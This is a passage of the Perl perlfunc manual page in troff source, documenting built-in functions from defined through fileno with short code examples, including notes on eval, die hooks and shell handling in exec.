You may also use \f(CW\*(C`defined(&func)\*(C'\fR to check whether subroutine \f(CW&func\fR
has ever been defined. The return value is unaffected by any forward
declarations of \f(CW&func\fR. Note that a subroutine which is not defined
may still be callable: its package may have an \f(CW\*(C`AUTOLOAD\*(C'\fR method that
makes it spring into existence the first time that it is called \*(-- see
perlsub.
.Sp
Use of \f(CW\*(C`defined\*(C'\fR on aggregates (hashes and arrays) is deprecated. It
used to report whether memory for that aggregate has ever been
allocated. This behavior may disappear in future versions of Perl.
You should instead use a simple test for size:
.Sp
.Vb 2
\& if (@an_array) { print "has array elements\en" }
\& if (%a_hash) { print "has hash members\en" }
.Ve
.Sp
When used on a hash element, it tells you whether the value is defined,
not whether the key exists in the hash. Use \*(L"exists\*(R" for the latter
purpose.
.Sp
Examples:
.Sp
.Vb 6
\& print if defined $switch{'D'};
\& print "$val\en" while defined($val = pop(@ary));
\& die "Can't readlink $sym: $!"
\& unless defined($value = readlink $sym);
\& sub foo { defined &$bar ? &$bar(@_) : die "No bar"; }
\& $debugging = 0 unless defined $debugging;
.Ve
.Sp
Note: Many folks tend to overuse \f(CW\*(C`defined\*(C'\fR, and then are surprised to
discover that the number \f(CW0\fR and \f(CW""\fR (the zero-length string) are, in fact,
defined values. For example, if you say
.Sp
.Vb 1
\& "ab" =~ /a(.*)b/;
.Ve
.Sp
The pattern match succeeds, and \f(CW$1\fR is defined, despite the fact that it
matched \*(L"nothing\*(R". But it didn't really match nothing\*(--rather, it
matched something that happened to be zero characters long. This is all
very above-board and honest. When a function returns an undefined value,
it's an admission that it couldn't give you an honest answer. So you
should use \f(CW\*(C`defined\*(C'\fR only when you're questioning the integrity of what
you're trying to do. At other times, a simple comparison to \f(CW0\fR or \f(CW""\fR is
what you want.
.Sp
See also \*(L"undef\*(R", \*(L"exists\*(R", \*(L"ref\*(R".
.IP "delete \s-1EXPR\s0" 8
.IX Item "delete EXPR"
Given an expression that specifies a hash element, array element, hash slice,
or array slice, deletes the specified element(s) from the hash or array.
In the case of an array, if the array elements happen to be at the end,
the size of the array will shrink to the highest element that tests
true for \fIexists()\fR (or 0 if no such element exists).
.Sp
Returns each element so deleted or the undefined value if there was no such
element. Deleting from \f(CW$ENV{}\fR modifies the environment. Deleting from
a hash tied to a \s-1DBM\s0 file deletes the entry from the \s-1DBM\s0 file. Deleting
from a \f(CW\*(C`tie\*(C'\fRd hash or array may not necessarily return anything.
.Sp
Deleting an array element effectively returns that position of the array
to its initial, uninitialized state. Subsequently testing for the same
element with \fIexists()\fR will return false. Note that deleting array
elements in the middle of an array will not shift the index of the ones
after them down\*(--use \fIsplice()\fR for that. See \*(L"exists\*(R".
.Sp
The following (inefficiently) deletes all the values of \f(CW%HASH\fR and \f(CW@ARRAY:\fR
.Sp
.Vb 3
\& foreach $key (keys %HASH) {
\& delete $HASH{$key};
\& }
.Ve
.Sp
.Vb 3
\& foreach $index (0 .. $#ARRAY) {
\& delete $ARRAY[$index];
\& }
.Ve
.Sp
And so do these:
.Sp
.Vb 1
\& delete @HASH{keys %HASH};
.Ve
.Sp
.Vb 1
\& delete @ARRAY[0 .. $#ARRAY];
.Ve
.Sp
But both of these are slower than just assigning the empty list
or undefining \f(CW%HASH\fR or \f(CW@ARRAY:\fR
.Sp
.Vb 2
\& %HASH = (); # completely empty %HASH
\& undef %HASH; # forget %HASH ever existed
.Ve
.Sp
.Vb 2
\& @ARRAY = (); # completely empty @ARRAY
\& undef @ARRAY; # forget @ARRAY ever existed
.Ve
.Sp
Note that the \s-1EXPR\s0 can be arbitrarily complicated as long as the final
operation is a hash element, array element, hash slice, or array slice
lookup:
.Sp
.Vb 2
\& delete $ref->[$x][$y]{$key};
\& delete @{$ref->[$x][$y]}{$key1, $key2, @morekeys};
.Ve
.Sp
.Vb 2
\& delete $ref->[$x][$y][$index];
\& delete @{$ref->[$x][$y]}[$index1, $index2, @moreindices];
.Ve
.IP "die \s-1LIST\s0" 8
.IX Item "die LIST"
Outside an \f(CW\*(C`eval\*(C'\fR, prints the value of \s-1LIST\s0 to \f(CW\*(C`STDERR\*(C'\fR and
exits with the current value of \f(CW$!\fR (errno). If \f(CW$!\fR is \f(CW0\fR,
exits with the value of \f(CW\*(C`($? >> 8)\*(C'\fR (backtick `command`
status). If \f(CW\*(C`($? >> 8)\*(C'\fR is \f(CW0\fR, exits with \f(CW255\fR. Inside
an \f(CW\*(C`eval(),\*(C'\fR the error message is stuffed into \f(CW$@\fR and the
\&\f(CW\*(C`eval\*(C'\fR is terminated with the undefined value. This makes
\&\f(CW\*(C`die\*(C'\fR the way to raise an exception.
.Sp
Equivalent examples:
.Sp
.Vb 2
\& die "Can't cd to spool: $!\en" unless chdir '/usr/spool/news';
\& chdir '/usr/spool/news' or die "Can't cd to spool: $!\en"
.Ve
.Sp
If the last element of \s-1LIST\s0 does not end in a newline, the current
script line number and input line number (if any) are also printed,
and a newline is supplied. Note that the \*(L"input line number\*(R" (also
known as \*(L"chunk\*(R") is subject to whatever notion of \*(L"line\*(R" happens to
be currently in effect, and is also available as the special variable
\&\f(CW$.\fR. See \*(L"$/\*(R" in perlvar and \*(L"$.\*(R" in perlvar.
.Sp
Hint: sometimes appending \f(CW", stopped"\fR to your message will cause it
to make better sense when the string \f(CW"at foo line 123"\fR is appended.
Suppose you are running script \*(L"canasta\*(R".
.Sp
.Vb 2
\& die "/etc/games is no good";
\& die "/etc/games is no good, stopped";
.Ve
.Sp
produce, respectively
.Sp
.Vb 2
\& /etc/games is no good at canasta line 123.
\& /etc/games is no good, stopped at canasta line 123.
.Ve
.Sp
See also \fIexit()\fR, \fIwarn()\fR, and the Carp module.
.Sp
If \s-1LIST\s0 is empty and \f(CW$@\fR already contains a value (typically from a
previous eval) that value is reused after appending \f(CW"\et...propagated"\fR.
This is useful for propagating exceptions:
.Sp
.Vb 2
\& eval { ... };
\& die unless $@ =~ /Expected exception/;
.Ve
.Sp
If \s-1LIST\s0 is empty and \f(CW$@\fR contains an object reference that has a
\&\f(CW\*(C`PROPAGATE\*(C'\fR method, that method will be called with additional file
and line number parameters. The return value replaces the value in
\&\f(CW$@\fR. ie. as if \f(CW\*(C`$@ = eval { $@\->PROPAGATE(_\|_FILE_\|_, _\|_LINE_\|_) };\*(C'\fR
were called.
.Sp
If \f(CW$@\fR is empty then the string \f(CW"Died"\fR is used.
.Sp
\&\fIdie()\fR can also be called with a reference argument. If this happens to be
trapped within an \fIeval()\fR, $@ contains the reference. This behavior permits
a more elaborate exception handling implementation using objects that
maintain arbitrary state about the nature of the exception. Such a scheme
is sometimes preferable to matching particular string values of $@ using
regular expressions. Here's an example:
.Sp
.Vb 9
\& eval { ... ; die Some::Module::Exception->new( FOO => "bar" ) };
\& if ($@) {
\& if (ref($@) && UNIVERSAL::isa($@,"Some::Module::Exception")) {
\& # handle Some::Module::Exception
\& }
\& else {
\& # handle all other possible exceptions
\& }
\& }
.Ve
.Sp
Because perl will stringify uncaught exception messages before displaying
them, you may want to overload stringification operations on such custom
exception objects. See overload for details about that.
.Sp
You can arrange for a callback to be run just before the \f(CW\*(C`die\*(C'\fR
does its deed, by setting the \f(CW$SIG{_\|_DIE_\|_}\fR hook. The associated
handler will be called with the error text and can change the error
message, if it sees fit, by calling \f(CW\*(C`die\*(C'\fR again. See
\&\*(L"$SIG{expr}\*(R" in perlvar for details on setting \f(CW%SIG\fR entries, and
\&\*(L"eval \s-1BLOCK\s0\*(R" for some examples. Although this feature was meant
to be run only right before your program was to exit, this is not
currently the case\*(--the \f(CW$SIG{_\|_DIE_\|_}\fR hook is currently called
even inside \fIeval()\fRed blocks/strings! If one wants the hook to do
nothing in such situations, put
.Sp
.Vb 1
\& die @_ if $^S;
.Ve
.Sp
as the first line of the handler (see \*(L"$^S\*(R" in perlvar). Because
this promotes strange action at a distance, this counterintuitive
behavior may be fixed in a future release.
.IP "do \s-1BLOCK\s0" 8
.IX Item "do BLOCK"
Not really a function. Returns the value of the last command in the
sequence of commands indicated by \s-1BLOCK\s0. When modified by a loop
modifier, executes the \s-1BLOCK\s0 once before testing the loop condition.
(On other statements the loop modifiers test the conditional first.)
.Sp
\&\f(CW\*(C`do BLOCK\*(C'\fR does \fInot\fR count as a loop, so the loop control statements
\&\f(CW\*(C`next\*(C'\fR, \f(CW\*(C`last\*(C'\fR, or \f(CW\*(C`redo\*(C'\fR cannot be used to leave or restart the block.
See perlsyn for alternative strategies.
.IP "do \s-1SUBROUTINE\s0(\s-1LIST\s0)" 8
.IX Item "do SUBROUTINE(LIST)"
A deprecated form of subroutine call. See perlsub.
.IP "do \s-1EXPR\s0" 8
.IX Item "do EXPR"
Uses the value of \s-1EXPR\s0 as a filename and executes the contents of the
file as a Perl script. Its primary use is to include subroutines
from a Perl subroutine library.
.Sp
.Vb 1
\& do 'stat.pl';
.Ve
.Sp
is just like
.Sp
.Vb 1
\& eval `cat stat.pl`;
.Ve
.Sp
except that it's more efficient and concise, keeps track of the current
filename for error messages, searches the \f(CW@INC\fR libraries, and updates
\&\f(CW%INC\fR if the file is found. See \*(L"Predefined Names\*(R" in perlvar for these
variables. It also differs in that code evaluated with \f(CW\*(C`do FILENAME\*(C'\fR
cannot see lexicals in the enclosing scope; \f(CW\*(C`eval STRING\*(C'\fR does. It's the
same, however, in that it does reparse the file every time you call it,
so you probably don't want to do this inside a loop.
.Sp
If \f(CW\*(C`do\*(C'\fR cannot read the file, it returns undef and sets \f(CW$!\fR to the
error. If \f(CW\*(C`do\*(C'\fR can read the file but cannot compile it, it
returns undef and sets an error message in \f(CW$@\fR. If the file is
successfully compiled, \f(CW\*(C`do\*(C'\fR returns the value of the last expression
evaluated.
.Sp
Note that inclusion of library modules is better done with the
\&\f(CW\*(C`use\*(C'\fR and \f(CW\*(C`require\*(C'\fR operators, which also do automatic error checking
and raise an exception if there's a problem.
.Sp
You might like to use \f(CW\*(C`do\*(C'\fR to read in a program configuration
file. Manual error checking can be done this way:
.Sp
.Vb 10
\& # read in config files: system first, then user
\& for $file ("/share/prog/defaults.rc",
\& "$ENV{HOME}/.someprogrc")
\& {
\& unless ($return = do $file) {
\& warn "couldn't parse $file: $@" if $@;
\& warn "couldn't do $file: $!" unless defined $return;
\& warn "couldn't run $file" unless $return;
\& }
\& }
.Ve
.IP "dump \s-1LABEL\s0" 8
.IX Item "dump LABEL"
.PD 0
.IP "dump" 8
.IX Item "dump"
.PD
This function causes an immediate core dump. See also the \fB\-u\fR
command-line switch in perlrun, which does the same thing.
Primarily this is so that you can use the \fBundump\fR program (not
supplied) to turn your core dump into an executable binary after
having initialized all your variables at the beginning of the
program. When the new binary is executed it will begin by executing
a \f(CW\*(C`goto LABEL\*(C'\fR (with all the restrictions that \f(CW\*(C`goto\*(C'\fR suffers).
Think of it as a goto with an intervening core dump and reincarnation.
If \f(CW\*(C`LABEL\*(C'\fR is omitted, restarts the program from the top.
.Sp
\&\fB\s-1WARNING\s0\fR: Any files opened at the time of the dump will \fInot\fR
be open any more when the program is reincarnated, with possible
resulting confusion on the part of Perl.
.Sp
This function is now largely obsolete, partly because it's very
hard to convert a core file into an executable, and because the
real compiler backends for generating portable bytecode and compilable
C code have superseded it. That's why you should now invoke it as
\&\f(CW\*(C`CORE::dump()\*(C'\fR, if you don't want to be warned against a possible
typo.
.Sp
If you're looking to use dump to speed up your program, consider
generating bytecode or native C code as described in perlcc. If
you're just trying to accelerate a \s-1CGI\s0 script, consider using the
\&\f(CW\*(C`mod_perl\*(C'\fR extension to \fBApache\fR, or the \s-1CPAN\s0 module, CGI::Fast.
You might also consider autoloading or selfloading, which at least
make your program \fIappear\fR to run faster.
.IP "each \s-1HASH\s0" 8
.IX Item "each HASH"
When called in list context, returns a 2\-element list consisting of the
key and value for the next element of a hash, so that you can iterate over
it. When called in scalar context, returns only the key for the next
element in the hash.
.Sp
Entries are returned in an apparently random order. The actual random
order is subject to change in future versions of perl, but it is
guaranteed to be in the same order as either the \f(CW\*(C`keys\*(C'\fR or \f(CW\*(C`values\*(C'\fR
function would produce on the same (unmodified) hash. Since Perl
5.8.1 the ordering is different even between different runs of Perl
for security reasons (see \*(L"Algorithmic Complexity Attacks\*(R" in perlsec).
.Sp
When the hash is entirely read, a null array is returned in list context
(which when assigned produces a false (\f(CW0\fR) value), and \f(CW\*(C`undef\*(C'\fR in
scalar context. The next call to \f(CW\*(C`each\*(C'\fR after that will start iterating
again. There is a single iterator for each hash, shared by all \f(CW\*(C`each\*(C'\fR,
\&\f(CW\*(C`keys\*(C'\fR, and \f(CW\*(C`values\*(C'\fR function calls in the program; it can be reset by
reading all the elements from the hash, or by evaluating \f(CW\*(C`keys HASH\*(C'\fR or
\&\f(CW\*(C`values HASH\*(C'\fR. If you add or delete elements of a hash while you're
iterating over it, you may get entries skipped or duplicated, so
don't. Exception: It is always safe to delete the item most recently
returned by \f(CW\*(C`each()\*(C'\fR, which means that the following code will work:
.Sp
.Vb 4
\& while (($key, $value) = each %hash) {
\& print $key, "\en";
\& delete $hash{$key}; # This is safe
\& }
.Ve
.Sp
The following prints out your environment like the \fIprintenv\fR\|(1) program,
only in a different order:
.Sp
.Vb 3
\& while (($key,$value) = each %ENV) {
\& print "$key=$value\en";
\& }
.Ve
.Sp
See also \f(CW\*(C`keys\*(C'\fR, \f(CW\*(C`values\*(C'\fR and \f(CW\*(C`sort\*(C'\fR.
.IP "eof \s-1FILEHANDLE\s0" 8
.IX Item "eof FILEHANDLE"
.PD 0
.IP "eof ()" 8
.IX Item "eof ()"
.IP "eof" 8
.IX Item "eof"
.PD
Returns 1 if the next read on \s-1FILEHANDLE\s0 will return end of file, or if
\&\s-1FILEHANDLE\s0 is not open. \s-1FILEHANDLE\s0 may be an expression whose value
gives the real filehandle. (Note that this function actually
reads a character and then \f(CW\*(C`ungetc\*(C'\fRs it, so isn't very useful in an
interactive context.) Do not read from a terminal file (or call
\&\f(CW\*(C`eof(FILEHANDLE)\*(C'\fR on it) after end-of-file is reached. File types such
as terminals may lose the end-of-file condition if you do.
.Sp
An \f(CW\*(C`eof\*(C'\fR without an argument uses the last file read. Using \f(CW\*(C`eof()\*(C'\fR
with empty parentheses is very different. It refers to the pseudo file
formed from the files listed on the command line and accessed via the
\&\f(CW\*(C`<>\*(C'\fR operator. Since \f(CW\*(C`<>\*(C'\fR isn't explicitly opened,
as a normal filehandle is, an \f(CW\*(C`eof()\*(C'\fR before \f(CW\*(C`<>\*(C'\fR has been
used will cause \f(CW@ARGV\fR to be examined to determine if input is
available. Similarly, an \f(CW\*(C`eof()\*(C'\fR after \f(CW\*(C`<>\*(C'\fR has returned
end-of-file will assume you are processing another \f(CW@ARGV\fR list,
and if you haven't set \f(CW@ARGV\fR, will read input from \f(CW\*(C`STDIN\*(C'\fR;
see \*(L"I/O Operators\*(R" in perlop.
.Sp
In a \f(CW\*(C`while (<>)\*(C'\fR loop, \f(CW\*(C`eof\*(C'\fR or \f(CW\*(C`eof(ARGV)\*(C'\fR can be used to
detect the end of each file, \f(CW\*(C`eof()\*(C'\fR will only detect the end of the
last file. Examples:
.Sp
.Vb 7
\& # reset line numbering on each input file
\& while (<>) {
\& next if /^\es*#/; # skip comments
\& print "$.\et$_";
\& } continue {
\& close ARGV if eof; # Not eof()!
\& }
.Ve
.Sp
.Vb 8
\& # insert dashes just before last line of last file
\& while (<>) {
\& if (eof()) { # check for end of last file
\& print "--------------\en";
\& }
\& print;
\& last if eof(); # needed if we're reading from a terminal
\& }
.Ve
.Sp
Practical hint: you almost never need to use \f(CW\*(C`eof\*(C'\fR in Perl, because the
input operators typically return \f(CW\*(C`undef\*(C'\fR when they run out of data, or if
there was an error.
.IP "eval \s-1EXPR\s0" 8
.IX Item "eval EXPR"
.PD 0
.IP "eval \s-1BLOCK\s0" 8
.IX Item "eval BLOCK"
.PD
In the first form, the return value of \s-1EXPR\s0 is parsed and executed as if it
were a little Perl program. The value of the expression (which is itself
determined within scalar context) is first parsed, and if there weren't any
errors, executed in the lexical context of the current Perl program, so
that any variable settings or subroutine and format definitions remain
afterwards. Note that the value is parsed every time the eval executes.
If \s-1EXPR\s0 is omitted, evaluates \f(CW$_\fR. This form is typically used to
delay parsing and subsequent execution of the text of \s-1EXPR\s0 until run time.
.Sp
In the second form, the code within the \s-1BLOCK\s0 is parsed only once\*(--at the
same time the code surrounding the eval itself was parsed\*(--and executed
within the context of the current Perl program. This form is typically
used to trap exceptions more efficiently than the first (see below), while
also providing the benefit of checking the code within \s-1BLOCK\s0 at compile
time.
.Sp
The final semicolon, if any, may be omitted from the value of \s-1EXPR\s0 or within
the \s-1BLOCK\s0.
.Sp
In both forms, the value returned is the value of the last expression
evaluated inside the mini\-program; a return statement may be also used, just
as with subroutines. The expression providing the return value is evaluated
in void, scalar, or list context, depending on the context of the eval itself.
See \*(L"wantarray\*(R" for more on how the evaluation context can be determined.
.Sp
If there is a syntax error or runtime error, or a \f(CW\*(C`die\*(C'\fR statement is
executed, an undefined value is returned by \f(CW\*(C`eval\*(C'\fR, and \f(CW$@\fR is set to the
error message. If there was no error, \f(CW$@\fR is guaranteed to be a null
string. Beware that using \f(CW\*(C`eval\*(C'\fR neither silences perl from printing
warnings to \s-1STDERR\s0, nor does it stuff the text of warning messages into \f(CW$@\fR.
To do either of those, you have to use the \f(CW$SIG{_\|_WARN_\|_}\fR facility, or
turn off warnings inside the \s-1BLOCK\s0 or \s-1EXPR\s0 using \f(CW\*(C`no\ warnings\ 'all'\*(C'\fR.
See \*(L"warn\*(R", perlvar, warnings and perllexwarn.
.Sp
Note that, because \f(CW\*(C`eval\*(C'\fR traps otherwise-fatal errors, it is useful for
determining whether a particular feature (such as \f(CW\*(C`socket\*(C'\fR or \f(CW\*(C`symlink\*(C'\fR)
is implemented. It is also Perl's exception trapping mechanism, where
the die operator is used to raise exceptions.
.Sp
If the code to be executed doesn't vary, you may use the eval-BLOCK
form to trap run-time errors without incurring the penalty of
recompiling each time. The error, if any, is still returned in \f(CW$@\fR.
Examples:
.Sp
.Vb 2
\& # make divide-by-zero nonfatal
\& eval { $answer = $a / $b; }; warn $@ if $@;
.Ve
.Sp
.Vb 2
\& # same thing, but less efficient
\& eval '$answer = $a / $b'; warn $@ if $@;
.Ve
.Sp
.Vb 2
\& # a compile-time error
\& eval { $answer = }; # WRONG
.Ve
.Sp
.Vb 2
\& # a run-time error
\& eval '$answer ='; # sets $@
.Ve
.Sp
Due to the current arguably broken state of \f(CW\*(C`_\|_DIE_\|_\*(C'\fR hooks, when using
the \f(CW\*(C`eval{}\*(C'\fR form as an exception trap in libraries, you may wish not
to trigger any \f(CW\*(C`_\|_DIE_\|_\*(C'\fR hooks that user code may have installed.
You can use the \f(CW\*(C`local $SIG{_\|_DIE_\|_}\*(C'\fR construct for this purpose,
as shown in this example:
.Sp
.Vb 3
\& # a very private exception trap for divide-by-zero
\& eval { local $SIG{'__DIE__'}; $answer = $a / $b; };
\& warn $@ if $@;
.Ve
.Sp
This is especially significant, given that \f(CW\*(C`_\|_DIE_\|_\*(C'\fR hooks can call
\&\f(CW\*(C`die\*(C'\fR again, which has the effect of changing their error messages:
.Sp
.Vb 7
\& # __DIE__ hooks may modify error messages
\& {
\& local $SIG{'__DIE__'} =
\& sub { (my $x = $_[0]) =~ s/foo/bar/g; die $x };
\& eval { die "foo lives here" };
\& print $@ if $@; # prints "bar lives here"
\& }
.Ve
.Sp
Because this promotes action at a distance, this counterintuitive behavior
may be fixed in a future release.
.Sp
With an \f(CW\*(C`eval\*(C'\fR, you should be especially careful to remember what's
being looked at when:
.Sp
.Vb 2
\& eval $x; # CASE 1
\& eval "$x"; # CASE 2
.Ve
.Sp
.Vb 2
\& eval '$x'; # CASE 3
\& eval { $x }; # CASE 4
.Ve
.Sp
.Vb 2
\& eval "\e$$x++"; # CASE 5
\& $$x++; # CASE 6
.Ve
.Sp
Cases 1 and 2 above behave identically: they run the code contained in
the variable \f(CW$x\fR. (Although case 2 has misleading double quotes making
the reader wonder what else might be happening (nothing is).) Cases 3
and 4 likewise behave in the same way: they run the code \f(CW'$x'\fR, which
does nothing but return the value of \f(CW$x\fR. (Case 4 is preferred for
purely visual reasons, but it also has the advantage of compiling at
compile-time instead of at run\-time.) Case 5 is a place where
normally you \fIwould\fR like to use double quotes, except that in this
particular situation, you can just use symbolic references instead, as
in case 6.
.Sp
\&\f(CW\*(C`eval BLOCK\*(C'\fR does \fInot\fR count as a loop, so the loop control statements
\&\f(CW\*(C`next\*(C'\fR, \f(CW\*(C`last\*(C'\fR, or \f(CW\*(C`redo\*(C'\fR cannot be used to leave or restart the block.
.Sp
Note that as a very special case, an \f(CW\*(C`eval ''\*(C'\fR executed within the \f(CW\*(C`DB\*(C'\fR
package doesn't see the usual surrounding lexical scope, but rather the
scope of the first non-DB piece of code that called it. You don't normally
need to worry about this unless you are writing a Perl debugger.
.IP "exec \s-1LIST\s0" 8
.IX Item "exec LIST"
.PD 0
.IP "exec \s-1PROGRAM\s0 \s-1LIST\s0" 8
.IX Item "exec PROGRAM LIST"
.PD
The \f(CW\*(C`exec\*(C'\fR function executes a system command \fIand never returns\fR\-\-
use \f(CW\*(C`system\*(C'\fR instead of \f(CW\*(C`exec\*(C'\fR if you want it to return. It fails and
returns false only if the command does not exist \fIand\fR it is executed
directly instead of via your system's command shell (see below).
.Sp
Since it's a common mistake to use \f(CW\*(C`exec\*(C'\fR instead of \f(CW\*(C`system\*(C'\fR, Perl
warns you if there is a following statement which isn't \f(CW\*(C`die\*(C'\fR, \f(CW\*(C`warn\*(C'\fR,
or \f(CW\*(C`exit\*(C'\fR (if \f(CW\*(C`\-w\*(C'\fR is set \- but you always do that). If you
\&\fIreally\fR want to follow an \f(CW\*(C`exec\*(C'\fR with some other statement, you
can use one of these styles to avoid the warning:
.Sp
.Vb 2
\& exec ('foo') or print STDERR "couldn't exec foo: $!";
\& { exec ('foo') }; print STDERR "couldn't exec foo: $!";
.Ve
.Sp
If there is more than one argument in \s-1LIST\s0, or if \s-1LIST\s0 is an array
with more than one value, calls \fIexecvp\fR\|(3) with the arguments in \s-1LIST\s0.
If there is only one scalar argument or an array with one element in it,
the argument is checked for shell metacharacters, and if there are any,
the entire argument is passed to the system's command shell for parsing
(this is \f(CW\*(C`/bin/sh \-c\*(C'\fR on Unix platforms, but varies on other platforms).
If there are no shell metacharacters in the argument, it is split into
words and passed directly to \f(CW\*(C`execvp\*(C'\fR, which is more efficient.
Examples:
.Sp
.Vb 2
\& exec '/bin/echo', 'Your arguments are: ', @ARGV;
\& exec "sort $outfile | uniq";
.Ve
.Sp
If you don't really want to execute the first argument, but want to lie
to the program you are executing about its own name, you can specify
the program you actually want to run as an \*(L"indirect object\*(R" (without a
comma) in front of the \s-1LIST\s0. (This always forces interpretation of the
\&\s-1LIST\s0 as a multivalued list, even if there is only a single scalar in
the list.) Example:
.Sp
.Vb 2
\& $shell = '/bin/csh';
\& exec $shell '-sh'; # pretend it's a login shell
.Ve
.Sp
or, more directly,
.Sp
.Vb 1
\& exec {'/bin/csh'} '-sh'; # pretend it's a login shell
.Ve
.Sp
When the arguments get executed via the system shell, results will
be subject to its quirks and capabilities. See \*(L"`STRING`\*(R" in perlop
for details.
.Sp
Using an indirect object with \f(CW\*(C`exec\*(C'\fR or \f(CW\*(C`system\*(C'\fR is also more
secure. This usage (which also works fine with \fIsystem()\fR) forces
interpretation of the arguments as a multivalued list, even if the
list had just one argument. That way you're safe from the shell
expanding wildcards or splitting up words with whitespace in them.
.Sp
.Vb 1
\& @args = ( "echo surprise" );
.Ve
.Sp
.Vb 3
\& exec @args; # subject to shell escapes
\& # if @args == 1
\& exec { $args[0] } @args; # safe even with one-arg list
.Ve
.Sp
The first version, the one without the indirect object, ran the \fIecho\fR
program, passing it \f(CW"surprise"\fR an argument. The second version
didn't\*(--it tried to run a program literally called \fI\*(L"echo surprise\*(R"\fR,
didn't find it, and set \f(CW$?\fR to a non-zero value indicating failure.
.Sp
Beginning with v5.6.0, Perl will attempt to flush all files opened for
output before the exec, but this may not be supported on some platforms
(see perlport). To be safe, you may need to set \f(CW$|\fR ($AUTOFLUSH
in English) or call the \f(CW\*(C`autoflush()\*(C'\fR method of \f(CW\*(C`IO::Handle\*(C'\fR on any
open handles in order to avoid lost output.
.Sp
Note that \f(CW\*(C`exec\*(C'\fR will not call your \f(CW\*(C`END\*(C'\fR blocks, nor will it call
any \f(CW\*(C`DESTROY\*(C'\fR methods in your objects.
.IP "exists \s-1EXPR\s0" 8
.IX Item "exists EXPR"
Given an expression that specifies a hash element or array element,
returns true if the specified element in the hash or array has ever
been initialized, even if the corresponding value is undefined. The
element is not autovivified if it doesn't exist.
.Sp
.Vb 3
\& print "Exists\en" if exists $hash{$key};
\& print "Defined\en" if defined $hash{$key};
\& print "True\en" if $hash{$key};
.Ve
.Sp
.Vb 3
\& print "Exists\en" if exists $array[$index];
\& print "Defined\en" if defined $array[$index];
\& print "True\en" if $array[$index];
.Ve
.Sp
A hash or array element can be true only if it's defined, and defined if
it exists, but the reverse doesn't necessarily hold true.
.Sp
Given an expression that specifies the name of a subroutine,
returns true if the specified subroutine has ever been declared, even
if it is undefined. Mentioning a subroutine name for exists or defined
does not count as declaring it. Note that a subroutine which does not
exist may still be callable: its package may have an \f(CW\*(C`AUTOLOAD\*(C'\fR
method that makes it spring into existence the first time that it is
called \*(-- see perlsub.
.Sp
.Vb 2
\& print "Exists\en" if exists &subroutine;
\& print "Defined\en" if defined &subroutine;
.Ve
.Sp
Note that the \s-1EXPR\s0 can be arbitrarily complicated as long as the final
operation is a hash or array key lookup or subroutine name:
.Sp
.Vb 2
\& if (exists $ref->{A}->{B}->{$key}) { }
\& if (exists $hash{A}{B}{$key}) { }
.Ve
.Sp
.Vb 2
\& if (exists $ref->{A}->{B}->[$ix]) { }
\& if (exists $hash{A}{B}[$ix]) { }
.Ve
.Sp
.Vb 1
\& if (exists &{$ref->{A}{B}{$key}}) { }
.Ve
.Sp
Although the deepest nested array or hash will not spring into existence
just because its existence was tested, any intervening ones will.
Thus \f(CW\*(C`$ref\->{"A"}\*(C'\fR and \f(CW\*(C`$ref\->{"A"}\->{"B"}\*(C'\fR will spring
into existence due to the existence test for the \f(CW$key\fR element above.
This happens anywhere the arrow operator is used, including even:
.Sp
.Vb 3
\& undef $ref;
\& if (exists $ref->{"Some key"}) { }
\& print $ref; # prints HASH(0x80d3d5c)
.Ve
.Sp
This surprising autovivification in what does not at first\*(--or even
second\*(--glance appear to be an lvalue context may be fixed in a future
release.
.Sp
See \*(L"Pseudo\-hashes: Using an array as a hash\*(R" in perlref for specifics
on how \fIexists()\fR acts when used on a pseudo\-hash.
.Sp
Use of a subroutine call, rather than a subroutine name, as an argument
to \fIexists()\fR is an error.
.Sp
.Vb 2
\& exists ⊂ # OK
\& exists &sub(); # Error
.Ve
.IP "exit \s-1EXPR\s0" 8
.IX Item "exit EXPR"
Evaluates \s-1EXPR\s0 and exits immediately with that value. Example:
.Sp
.Vb 2
\& $ans = <STDIN>;
\& exit 0 if $ans =~ /^[Xx]/;
.Ve
.Sp
See also \f(CW\*(C`die\*(C'\fR. If \s-1EXPR\s0 is omitted, exits with \f(CW0\fR status. The only
universally recognized values for \s-1EXPR\s0 are \f(CW0\fR for success and \f(CW1\fR
for error; other values are subject to interpretation depending on the
environment in which the Perl program is running. For example, exiting
69 (\s-1EX_UNAVAILABLE\s0) from a \fIsendmail\fR incoming-mail filter will cause
the mailer to return the item undelivered, but that's not true everywhere.
.Sp
Don't use \f(CW\*(C`exit\*(C'\fR to abort a subroutine if there's any chance that
someone might want to trap whatever error happened. Use \f(CW\*(C`die\*(C'\fR instead,
which can be trapped by an \f(CW\*(C`eval\*(C'\fR.
.Sp
The \fIexit()\fR function does not always exit immediately. It calls any
defined \f(CW\*(C`END\*(C'\fR routines first, but these \f(CW\*(C`END\*(C'\fR routines may not
themselves abort the exit. Likewise any object destructors that need to
be called are called before the real exit. If this is a problem, you
can call \f(CW\*(C`POSIX:_exit($status)\*(C'\fR to avoid \s-1END\s0 and destructor processing.
See perlmod for details.
.IP "exp \s-1EXPR\s0" 8
.IX Item "exp EXPR"
.PD 0
.IP "exp" 8
.IX Item "exp"
.PD
Returns \fIe\fR (the natural logarithm base) to the power of \s-1EXPR\s0.
If \s-1EXPR\s0 is omitted, gives \f(CW\*(C`exp($_)\*(C'\fR.
.IP "fcntl \s-1FILEHANDLE\s0,FUNCTION,SCALAR" 8
.IX Item "fcntl FILEHANDLE,FUNCTION,SCALAR"
Implements the \fIfcntl\fR\|(2) function. You'll probably have to say
.Sp
.Vb 1
\& use Fcntl;
.Ve
.Sp
first to get the correct constant definitions. Argument processing and
value return works just like \f(CW\*(C`ioctl\*(C'\fR below.
For example:
.Sp
.Vb 3
\& use Fcntl;
\& fcntl($filehandle, F_GETFL, $packed_return_buffer)
\& or die "can't fcntl F_GETFL: $!";
.Ve
.Sp
You don't have to check for \f(CW\*(C`defined\*(C'\fR on the return from \f(CW\*(C`fcntl\*(C'\fR.
Like \f(CW\*(C`ioctl\*(C'\fR, it maps a \f(CW0\fR return from the system call into
\&\f(CW"0 but true"\fR in Perl. This string is true in boolean context and \f(CW0\fR
in numeric context. It is also exempt from the normal \fB\-w\fR warnings
on improper numeric conversions.
.Sp
Note that \f(CW\*(C`fcntl\*(C'\fR will produce a fatal error if used on a machine that
doesn't implement \fIfcntl\fR\|(2). See the Fcntl module or your \fIfcntl\fR\|(2)
manpage to learn what functions are available on your system.
.IP "fileno \s-1FILEHANDLE\s0" 8
.IX Item "fileno FILEHANDLE"
Returns the file descriptor for a filehandle, or undefined if the
filehandle is not open. This is mainly useful for constructing
bitmaps for \f(CW\*(C`select\*(C'\fR and low-level \s-1POSIX\s0 tty-handling operations.
